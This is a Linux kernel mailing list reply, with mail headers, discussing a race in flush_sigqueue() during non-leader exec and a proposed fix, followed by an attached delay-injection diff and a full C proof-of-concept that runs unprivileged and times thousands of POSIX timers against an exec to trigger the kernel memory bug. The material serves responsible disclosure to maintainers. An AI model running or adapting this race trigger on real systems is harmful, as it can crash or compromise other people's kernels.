From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-pj1-f46.google.com (mail-pj1-f46.google.com [209.85.216.46]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 2B91D2C11E6 for ; Mon, 24 Aug 2026 02:53:47 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.216.46 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1787540029; cv=none; b=ZyKf/jsJBOPUtAoqRUV5SclcM+hPpIQdbortI6W6UfqTa0KTu9GwOMZ2NLafHZyqLCnp5PBg2j7hQBjYDcYV+G2ajcYA6BHmA765v7Qp5iN6gjtujuNnBNrln5SUAl0mg3mUgHgjjlB3HEeca0cKwlFuY0SyzbaIGC4BcNfGXz4= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1787540029; c=relaxed/simple; bh=QplHM+jY6kmUuKnuxGzHd9loY+ZNfES+/XjetqXsoFc=; h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version: Content-Type:Content-Disposition:In-Reply-To; b=uttTF0mi34LMSpo7cu0PfIyKZbcTtnzqGeot3pthAchDvfS7tjlus7+fMitvpxtuVdCBsysCDz+o2GjpoHSdT+6p3UI9swFjgafbGYb6IEi8txGzNMtpmlz+VUEzcsswHK9xhBDaSX7l9uWWzwUDP4kYECURXbUHDyrVGyuaF+Y= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com; spf=pass smtp.mailfrom=gmail.com; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b=lfwApMw3; arc=none smtp.client-ip=209.85.216.46 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="lfwApMw3" Received: by mail-pj1-f46.google.com with SMTP id 98e67ed59e1d1-381c51fde6bso3434469a91.2 for ; Sun, 23 Aug 2026 19:53:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1787540027; x=1788144827; darn=vger.kernel.org; h=in-reply-to:content-disposition:content-type:mime-version :references:message-id:subject:cc:to:from:date:from:to:cc:subject :date:message-id:reply-to:content-type; bh=UYLTofLsNjUK3+t+89wmznm4+pApqtIRYaatDRBVgoc=; b=lfwApMw3Yp+RfgVesVilJPol8ZZ2oRjR0c98/XuMxfF7GaGS7p80UCM7zJS+t4AXwF ty/JP6I0Y2h55BZ93QT8oowgGf4V7Ho2Cjn7EPEsTd+3zYiBWv0Gw66RHiwl6ZVx1QUK kgrBCEmYDWXfNT2UXnPuej/n2Tyn4qVxzJAVHdUjRbBp2F0d/F5BFIPFtKReiMDF5k1S tJ2RDB044IYd4cKnCvDFIViW1PVbB3S+1xOnta5y8M3tIDDdZPf7SI/ucAEjc4ZX9jcl D3VxlBcuJEAbXTibP1uxOgfDy2qY4/M7fN28g2Tv4fdygnl83KQyth3iZ8Z1917q84n8 DcQA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1787540027; x=1788144827; h=in-reply-to:content-disposition:content-type:mime-version :references:message-id:subject:cc:to:from:date:x-gm-gg :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to :content-type; bh=UYLTofLsNjUK3+t+89wmznm4+pApqtIRYaatDRBVgoc=; b=hcPFVX8Zt6SZbtdKfGvbSGh4hZ8c4fm8bKGzuzdLyZqHF9LkY8SXzIL6xAR4eugkTg bfvhRrsEQJF82Pr1ReniAqn/jqan0mJycJAGRK0tyifrogK39amXr21Nb++VnhsHsYnM R4xvc9FfK8av6a8xeCko4YRAnSSszctNDRAPihiX6bgATH3kQF0w1FdLgiipMeIQKhu2 rz+xVI+rM+KBS6t7YrvXp5Hqd2XobfWtYrCNwhzNvEGx7Tpku54magdt6x3PahFwvvXp +FDMaYhGiZw361Z/L8njv7Eifk9nBaBX+XDAu3ZZVv26eHucoow5BhVq3Uwz+jQ1EZpB eijQ== X-Forwarded-Encrypted: i=1; AHgh+Rq/ikjwLixgpayyqG9Mcc/9FYM17PezrK39l8hm6PEIJtYmgC4lmKI76NQYbfyaxDE/FQ9HUG5fSl4oIbg=@vger.kernel.org X-Gm-Message-State: AFuF++nSHDvqd5/T/2WKyfX2SN9XctsI9CIjd7Qjzdhro2pvc0c6qyx0 iiOMmvIbq6YJOIuA3f+reJEZutxTU1HHXVHNq7wBhFFArXTkDpkFi9CklLQoIw== X-Gm-Gg: AR+sD13llN1ZDKwWVIDBnuUBMGioOvple9IQx5b/Mi7AZ1kkNtAh0o4PSdppnEQdEgN uFTHEOJoVIiVtAR5nA2/Ny8CfWK3YVff6njfZy3djZeQbAhuxTdLZDHp6uP+WOJIKRU4YqHrnNf HA4028Boo+8YYW3RFhdLd3aQjqs0uDG4+4Tp7lKOIhid/xn+hQEgXm4DGmjfkIIsnXS5cQ31vyD kRK3wLjp0yr9bDzwer3gZR6aarnKgzU3QFBNEkX/qV0enDXvZtbIQw+7MFPtALnuacPCzakO/u4 bMYLfo/Q/z1O5La/vp4g1zH4Po5xtJKu7DhsEP7uHcZsfeGAzrio3wWdsE0pa2qc9adn5BBp0de TaU2CjjzMImpXLLv1tcFDP1A7xGM9IMKsO5x/NxGBEn7Fcde3wIM1Qjoinmu+j+pI7ejnfUf60E Exw8yqKE0TIXsdIfhd/zOoj2FkZbExc52Hv5+IsjHaTIDR6vJgQ/s5CB9ujApLr05Mp40TcPlqo JT9Z2J6w4vJ7Kb0ynE= X-Received: by 2002:a17:90b:280a:b0:38e:bfe:81e9 with SMTP id 98e67ed59e1d1-395dee56103mr30299400a91.1.1787540027234; Sun, 23 Aug 2026 19:53:47 -0700 (PDT) Received: from v4bel ([58.123.110.97]) by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-395e49d8d26sm8147497a91.10.2026.08.23.19.53.44 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sun, 23 Aug 2026 19:53:46 -0700 (PDT) Date: Mon, 24 Aug 2026 11:53:42 +0900 From: Hyunwoo Kim To: Oleg Nesterov Cc: frederic@kernel.org, tglx@kernel.org, brauner@kernel.org, peterz@infradead.org, anna-maria@linutronix.de, ebiederm@xmission.com, linux-kernel@vger.kernel.org, imv4bel@gmail.com Subject: Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() Message-ID: References: Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: On Sun, Aug 23, 2026 at 02:47:10PM +0200, Oleg Nesterov wrote: > On 08/22, Hyunwoo Kim wrote: > > > > commit fb3bbcfe344e ("exit: change the release_task() paths to call > > flush_sigqueue() lockless") moved the ->pending flush from __exit_signal() > > to release_task(), where it runs without ->siglock. The justification was: > > > > after the exiting task passes __exit_signal() lock_task_sighand() can't > > succeed and pid_task(tmr->it_pid) will return NULL > > > > That second half does not hold for the old group leader in a non-leader > > exec(). de_thread() calls exchange_tids() before release_task(leader), so > > Indeed... Thanks a lot! > > I need some time to (try to ;) fully understand the problem and your fix... > I'll read your patch again tomorrow with a clear head. > > Now... I hope that the next paragraph > > This means that after __exit_signal(tsk) nobody can play with tsk->pending > or (if group_dead) with tsk->signal->shared_pending, > > from the changelog is still true, so the only problem is that it is not > safe to play with q->list, right? Right. lock_task_sighand() still fails, so ->pending is safe. The timer does not go through the task, it holds q = &tmr->sigq directly. > > > --- a/kernel/signal.c > > +++ b/kernel/signal.c > > @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue) > > sigemptyset(&queue->signal); > > while (!list_empty(&queue->list)) { > > q = list_entry(queue->list.next, struct sigqueue , list); > > - list_del_init(&q->list); > > + /* > > + * Pairs with the list_empty() in posixtimer_send_sigqueue(). > > + * release_task() gets here without ->siglock. > > + */ > > + list_del_init_careful(&q->list); > > __sigqueue_free(q); > > Can't we avoid list_del_init() altogether? Can't flush_sigqueue() simply do > > list_for_each_entry(q, &pending->list, list) > __sigqueue_free(q); > > ? __sigqueue_free() does kmem_cache_free() for anything which is not PREALLOC, so the iterator reads q->list.next after it is freed. And flush_signals() and selinux_bprm_committed_creds() call it on live tasks, so the queue has to end up empty. So, list_for_each_entry_safe(q, n, &queue->list, list) __sigqueue_free(q); INIT_LIST_HEAD(&queue->list); If you are fine with it, could you submit this patch yourself? I am also attaching the reproducer and the mdelay diff. I hope they help. Best regards, Hyunwoo Kim --- diff: diff --git a/include/linux/list.h b/include/linux/list.h index 19212bf..f6e2beb 100644 --- a/include/linux/list.h +++ b/include/linux/list.h @@ -48,9 +48,12 @@ * Initializes the list_head to point to itself. If it is a list header, * the result is an empty list. */ +extern void __const_udelay(unsigned long xloops); + static inline void INIT_LIST_HEAD(struct list_head *list) { WRITE_ONCE(list->next, list); + __const_udelay(1 * 1000UL * 4295UL); /* mdelay(1) */ WRITE_ONCE(list->prev, list); } PoC: #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef SIGEV_THREAD_ID #define SIGEV_THREAD_ID 4 #endif static pid_t old_leader_tid; static long attempt_lead_ns; static int timer_count = 20000; static int timer_signal; static int callback_offset = 1400; static int callback_stride = 16; static int use_preempt_train = 1; static int64_t mono_ns(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) { perror("clock_gettime"); _exit(2); } return (int64_t)ts.tv_sec * 1000000000LL + ts.tv_nsec; } static void print_security_context(void) { char line[512]; FILE *file; file = fopen("/proc/self/status", "re"); if (!file) { perror("fopen /proc/self/status"); } else { while (fgets(line, sizeof(line), file)) { if (!strncmp(line, "Uid:", 4) || !strncmp(line, "Gid:", 4) || !strncmp(line, "CapEff:", 7) || !strncmp(line, "NoNewPrivs:", 11)) fprintf(stderr, "status %s", line); } fclose(file); } file = fopen("/kernel.config", "re"); if (!file) { perror("fopen /kernel.config"); return; } while (fgets(line, sizeof(line), file)) { if (!strcmp(line, "# CONFIG_USER_NS is not set\n")) { fprintf(stderr, "kernel_config CONFIG_USER_NS=n\n"); break; } if (!strncmp(line, "CONFIG_USER_NS=", 15)) { fprintf(stderr, "kernel_config %s", line); break; } } fclose(file); } static struct timespec ns_to_ts(int64_t ns) { struct timespec ts = { .tv_sec = ns / 1000000000LL, .tv_nsec = ns % 1000000000LL, }; return ts; } static int ktimer_create_for_tid(pid_t tid) { struct sigevent sev; int id = -1; memset(&sev, 0, sizeof(sev)); sev.sigev_notify = SIGEV_SIGNAL | SIGEV_THREAD_ID; sev.sigev_signo = timer_signal; sev._sigev_un._tid = tid; if (syscall(SYS_timer_create, CLOCK_MONOTONIC, &sev, &id)) return -1; return id; } static int ktimer_arm_abs(int id, int64_t expiry) { struct itimerspec its; memset(&its, 0, sizeof(its)); its.it_value = ns_to_ts(expiry); return syscall(SYS_timer_settime, id, TIMER_ABSTIME, &its, NULL); } static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set)) perror("sched_setaffinity"); } static void monitor_old_worker_tid(pid_t worker_tid, int64_t target) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(2, &set); (void)sched_setaffinity(0, sizeof(set), &set); while (!syscall(SYS_tgkill, old_leader_tid, worker_tid, 0)) asm volatile("pause" ::: "memory"); fprintf(stderr, "monitor old_worker_unhash_minus_expiry_ns=%lld errno=%d\n", (long long)(mono_ns() - target), errno); _exit(0); } static void run_preempt_train(int64_t target) { enum { TIMERFDS = 900, GROUPS = 14 }; int fds[TIMERFDS]; pin_cpu(0); for (int i = 0; i < TIMERFDS; i++) { struct itimerspec its; int group = i % GROUPS; fds[i] = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC); if (fds[i] < 0) _exit(3); memset(&its, 0, sizeof(its)); its.it_value = ns_to_ts(target - 50000 + (int64_t)group * 50000); if (timerfd_settime(fds[i], TFD_TIMER_ABSTIME, &its, NULL)) _exit(3); } { struct timespec done = ns_to_ts(target + 5000000); while (clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &done, NULL) == EINTR) ; } for (int i = 0; i < TIMERFDS; i++) close(fds[i]); _exit(0); } static void *exec_worker(void *unused) { char lead_arg[32], count_arg[32], target_arg[32]; char *argv[] = { (char *)"poc", (char *)"--post", lead_arg, count_arg, target_arg, NULL }; int64_t target, start; int *ids; int *near_order; unsigned char *near_used; int made = 0; (void)unused; pin_cpu(1); usleep(20000); ids = calloc((size_t)timer_count, sizeof(*ids)); near_order = calloc((size_t)timer_count, sizeof(*near_order)); near_used = calloc((size_t)timer_count, sizeof(*near_used)); if (!ids || !near_order || !near_used) { perror("calloc"); _exit(2); } for (int i = 0; i < timer_count; i++) { ids[i] = ktimer_create_for_tid(old_leader_tid); if (ids[i] < 0 || ktimer_arm_abs(ids[i], 1)) break; made++; } if (made < 128) { fprintf(stderr, "only %d timers prepared: %s\n", made, strerror(errno)); _exit(2); } start = mono_ns(); target = start + 300000000LL; for (int i = 0; i < made; i++) { if (ktimer_arm_abs(ids[i], target + 2000000000LL)) { fprintf(stderr, "future arm %d failed: %s\n", i, strerror(errno)); _exit(2); } } int near_count = 0; for (int k = 0; ; k++) { int phase = 0; int idx; if (use_preempt_train) { int slot = k % 32; phase = slot < 16 ? -192 + slot * 24 : 192 - (slot - 16) * 24; } idx = callback_offset + callback_stride * k + phase; if (callback_offset + callback_stride * k - 192 >= made) break; if (idx < 0 || idx >= made || near_used[idx]) continue; near_used[idx] = 1; near_order[near_count++] = idx; } for (int k = near_count - 1; k >= 0; k--) { int idx = near_order[k]; if (ktimer_arm_abs(ids[idx], target)) { fprintf(stderr, "near arm %d failed: %s\n", idx, strerror(errno)); _exit(2); } } pin_cpu(0); if (mono_ns() >= target - attempt_lead_ns) { fprintf(stderr, "setup too slow for lead %ld\n", attempt_lead_ns); _exit(3); } { pid_t worker_tid = (pid_t)syscall(SYS_gettid); pid_t monitor = fork(); if (!monitor) monitor_old_worker_tid(worker_tid, target); if (monitor < 0) perror("fork monitor"); if (use_preempt_train) { pid_t competitor = fork(); if (!competitor) run_preempt_train(target); if (competitor < 0) perror("fork preempt train"); if (setpriority(PRIO_PROCESS, 0, 19)) perror("setpriority"); } } while (mono_ns() < target - attempt_lead_ns) asm volatile("pause" ::: "memory"); snprintf(lead_arg, sizeof(lead_arg), "%ld", attempt_lead_ns); snprintf(count_arg, sizeof(count_arg), "%d", made); snprintf(target_arg, sizeof(target_arg), "%lld", (long long)target); execv("/poc", argv); perror("execv /poc"); _exit(2); } static void run_one_attempt(long lead_ns) { pthread_t th; attempt_lead_ns = lead_ns; old_leader_tid = (pid_t)syscall(SYS_gettid); if (pthread_create(&th, NULL, exec_worker, NULL)) { perror("pthread_create"); _exit(2); } syscall(SYS_exit, 0); __builtin_unreachable(); } static int post_exec(int argc, char **argv) { long lead = argc > 2 ? strtol(argv[2], NULL, 10) : -1; int made = argc > 3 ? atoi(argv[3]) : -1; int64_t target = argc > 4 ? strtoll(argv[4], NULL, 10) : 0; int64_t delta = mono_ns() - target; fprintf(stderr, "post lead_ns=%ld timers=%d now_minus_expiry_ns=%lld\n", lead, made, (long long)delta); usleep(500000); #ifdef NO_TGKILL_EXIT_REAP fprintf(stderr, "post no_tgkill_exit_reap=1\n"); #else for (int i = 0; i < 256; i++) { if (syscall(SYS_tgkill, getpid(), syscall(SYS_gettid), timer_signal) && errno != EAGAIN) { perror("tgkill"); break; } } #endif return 0; } int main(int argc, char **argv) { static const long leads_ns[] = { 220000, 240000, 260000, 280000, 300000, 320000, 340000, 360000, 380000, 400000, 425000, 450000, 475000, 500000, 550000, 600000, 700000, 800000, 220000, 240000, 260000, 280000, 300000, 320000, 340000, 360000, 380000, 400000, 425000, 450000, 475000, 500000, 550000, 600000, 700000, 800000, }; struct rlimit lim = { .rlim_cur = 200000, .rlim_max = 200000 }; sigset_t blocked; long forced_lead = -1; int forced_repeats = 0; timer_signal = SIGRTMIN + 6; if (argc > 1 && !strcmp(argv[1], "--post")) return post_exec(argc, argv); if (argc > 1) { forced_lead = strtol(argv[1], NULL, 10); forced_repeats = argc > 2 ? atoi(argv[2]) : 1; if (forced_lead <= 0 || forced_repeats <= 0) return 2; if (argc > 3) { timer_count = atoi(argv[3]); if (timer_count < 128) return 2; } if (argc > 4) callback_offset = atoi(argv[4]); if (argc > 5) callback_stride = atoi(argv[5]); if (argc > 6) use_preempt_train = atoi(argv[6]) != 0; if (callback_offset < 0 || callback_stride <= 0) return 2; } pin_cpu(0); if (setrlimit(RLIMIT_SIGPENDING, &lim)) perror("setrlimit RLIMIT_SIGPENDING"); sigemptyset(&blocked); sigaddset(&blocked, timer_signal); if (pthread_sigmask(SIG_BLOCK, &blocked, NULL)) { perror("pthread_sigmask"); return 2; } if (!getuid()) { if (setgid(65534) || setuid(65534)) { perror("drop privileges"); return 2; } } print_security_context(); fprintf(stderr, "controller uid=%d timers=%d\n", getuid(), timer_count); for (size_t i = 0; i < (forced_lead > 0 ? (size_t)forced_repeats : sizeof(leads_ns) / sizeof(leads_ns[0])); i++) { pid_t child = fork(); long lead = forced_lead > 0 ? forced_lead : leads_ns[i]; int status; if (forced_lead <= 0) { callback_offset = 500 + (int)(i % 12) * 300; callback_stride = 14 + (int)(i / 12) % 3; } if (child < 0) { perror("fork"); return 2; } if (!child) run_one_attempt(lead); if (waitpid(child, &status, 0) != child) { perror("waitpid"); return 2; } fprintf(stderr, "trial lead_ns=%ld status=%#x\n", lead, status); } return 0; }